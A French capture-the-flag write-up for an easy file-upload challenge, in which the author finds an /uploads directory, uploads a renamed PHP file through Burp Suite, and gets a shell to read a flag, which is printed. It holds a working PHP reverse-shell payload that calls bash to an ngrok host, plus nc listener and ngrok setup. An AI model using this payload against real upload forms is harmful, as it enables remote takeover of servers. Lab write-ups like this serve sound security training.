File Upload (Easy)

Consignes

Le flag se trouve à la racine !

Réalisation

En accédant au site, nous arrivons sur une page sur laquelle nous pouvons upload un fichier (comme l'indique le nom du challenge mais bon).

Le site me propose de charger une image. Je pars donc du principe que nous pouvons acceder aux fichiers qui sont upload, ou su mons que ces dernier sont stockés à un endroit. Je choisis donc de réaliser une recherche des répertoires présents sur le site à l'aide de dirsearch

dirsearch -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u "http://$TARGET/"

Voici ce qui m'est retourné suite à l'eecution de cette commande : [18:48:18] Scanning: [18:48:22] 403 - 292B - /server-status/ Added to the queue: server-status/ [18:48:22] 403 - 292B - /uploads/ Added to the queue: uploads/

Je sais maintenant qu'il existe les répertoires /server-status et /uploads comme souhaité.

J'essaie d'accéder aux liens, cependant le message "You don't have permission to access this resource." apparaît.

Afin de voir si je peux accéder au contenu de ce répertoire, j'upload une image nommée cat.jpeg pour essayer d'y accéder plus tard. Une fois le fihcier upload, le site me retourne "Fichier uploadé : /uploads/cat.jpeg". Je me rends donc dans le répertoire /uploads/cat.jpeg afin de vérifier que j'y ai bien accès. J'ai bien accès à mon image.

Le but maintenant est d'introduire un code qui me permettrait soit de me balader dans la machine via l'URL soit qui ouvre un reverse shell mais plus chiant à mettre en place étant donné que la machine cible n'est pas dans mon propre réseau.

Je choisi de réaliser un reverse shell pour avoir une vue depuis mon pc. J'active donc mon extension FoxyProxy avec le lien vers burp d'effectué et le lance l'interception des données sur BurpSuite.

Je choisi d'intercepter mon image de chat que je renvoi une nouvelle fois sur le site pour effectuer un test.

On retrouve ici le nom de notre fichier cat.jpeg et on observe également que le "Content-Type" retourné dans la requête est image/jpeg . Le site capte donc bien le fichier comme une image. Pour le reste du texte en bas de page, il s'agit des métadonnées de l'image. Le but va donc être ici de changer le nom du fichier uploadé pour ensuite exécuter du code php pour effectuer le reverse shell tant attendu.

Dans un premier temps, on lance dans un premier terminal la commande suivante :

$ ngrok tcp 4444

ngrok                                                                                   (Ctrl+C to quit)
                                                                                                        
🛡️ Protect endpoints w/ IP Intelligence: https://ngrok.com/r/ipintel                                     
                                                                                                        
Session Status                online                                                                    
Account                       xxxxxxxxxxx@gmail.com (Plan: Free)                                        
Update                        update available (version 3.22.1, Ctrl-U to update)                       
Version                       3.21.0                                                                    
Region                        Europe (eu)                                                               
Latency                       24ms                                                                      
Web Interface                 http://127.0.0.1:4040                                                     
Forwarding                    tcp://6.tcp.eu.ngrok.io:14016 -> localhost:4444                           
                                                                                                        
Connections                   ttl     opn     rt1     rt5     p50     p90                               
                              0       1       0.00    0.00    0.00    0.00 

Important : Pour utiliser ngrok, il faut créer son compte sur https://ngrok.com/. Une fois le compte créé, il va falloir renseigner sur notre machine le token d'authentification de votre compte à l'aide de la commande suivante : ngrok config add-authtoken https://dashboard.ngrok.com/get-started/your-authtoken

⚠️Il faut bien évidement remplacer "https://dashboard.ngrok.com/get-started/your-authtoken" par le token retourné à cette même adresse.

La commande ngrok étant lancée, nous devons retenir 2 choses importantes :

  • Adresse = 6.tcp.eu.ngrok.io

  • Port = 14016

Ces 2 éléments vont nous permettre de construire notre reverse shell.

Nous exécutons dans un second terminal la commande suivante :

$ nc -lvnp 4444

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

Notre machine est donc maintenant en écoute sur le port 4444, donc toute personne se connectant à l'adresse ngrok sur le port 444 sera retransmise dans l'invite de commande utilisé avec netcat. Nous retournons maintenant sur Burpsuite et modifions les valeurs nommées plus tôt pour injecter notre reverse shell en prenant en compte l'adresse et le port retourné par ngrok :

Après avoir modifié le nom du fichier, on change sa valeur par notre reverse shell :

<?php
shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14016 0>&1'");
?>

Une fois le reverse shell écrit, on envoi la requête pour obtenir le résultat présent sur la droite de l'image ci-dessus. Une fois envoyé, la page nous informe que notre fichier shell.php est bien upload à /uploads/shell.php

Nous avons donc ici trouvé un moyen d'importé un fichier autre qu'une image. Maintenant on accède à l'URL http://ctf/uploads/shell.php

Une connexion s'effectue donc et est visible sur notre commande netcat :

$ nc -lvnp 4444

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:57122.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@675ac369ed58:/var/www/html/uploads$ 

Nous observons donc que je suis bien connecté à la machine. Maintenant je suis l'énoncé du challenge et je me rend à la racine de la machine pour lire le FLAG :

www-data@675ac369ed58:/var/www/html/uploads$ cd /
www-data@675ac369ed58:/$ ls -al
total 68
drwxr-xr-x    1 root root 4096 May  7 17:39 .
drwxr-xr-x    1 root root 4096 May  7 17:39 ..
-rwxr-xr-x    1 root root    0 May  7 17:39 .dockerenv
lrwxrwxrwx    1 root root    7 Apr  7 00:00 bin -> usr/bin
drwxr-xr-x    2 root root 4096 Mar  7 17:30 boot
drwxr-xr-x    5 root root  340 May  7 17:39 dev
drwxr-xr-x    1 root root 4096 May  7 17:39 etc
-rw-rw-r--    1 root root   28 Apr 30 15:02 flag.txt
drwxr-xr-x    2 root root 4096 Mar  7 17:30 home
lrwxrwxrwx    1 root root    7 Apr  7 00:00 lib -> usr/lib
lrwxrwxrwx    1 root root    9 Apr  7 00:00 lib64 -> usr/lib64
drwxr-xr-x    2 root root 4096 Apr  7 00:00 media
drwxr-xr-x    2 root root 4096 Apr  7 00:00 mnt
drwxr-xr-x    2 root root 4096 Apr  7 00:00 opt
dr-xr-xr-x 1125 root root    0 May  7 17:39 proc
drwx------    2 root root 4096 Apr  7 00:00 root
drwxr-xr-x    1 root root 4096 Apr  8 01:18 run
lrwxrwxrwx    1 root root    8 Apr  7 00:00 sbin -> usr/sbin
drwxr-xr-x    2 root root 4096 Apr  7 00:00 srv
dr-xr-xr-x   13 root root    0 May  7 17:39 sys
drwxrwxrwt    1 root root 4096 May  7 18:03 tmp
drwxr-xr-x    1 root root 4096 Apr  7 00:00 usr
drwxr-xr-x    1 root root 4096 Apr  8 01:18 var

www-data@675ac369ed58:/$ cat flag.txt
2600{0dcO5lTnQZrpX4BKGcjClQ}

Nous obtenons donc le FLAG :

2600{0dcO5lTnQZrpX4BKGcjClQ}

Last updated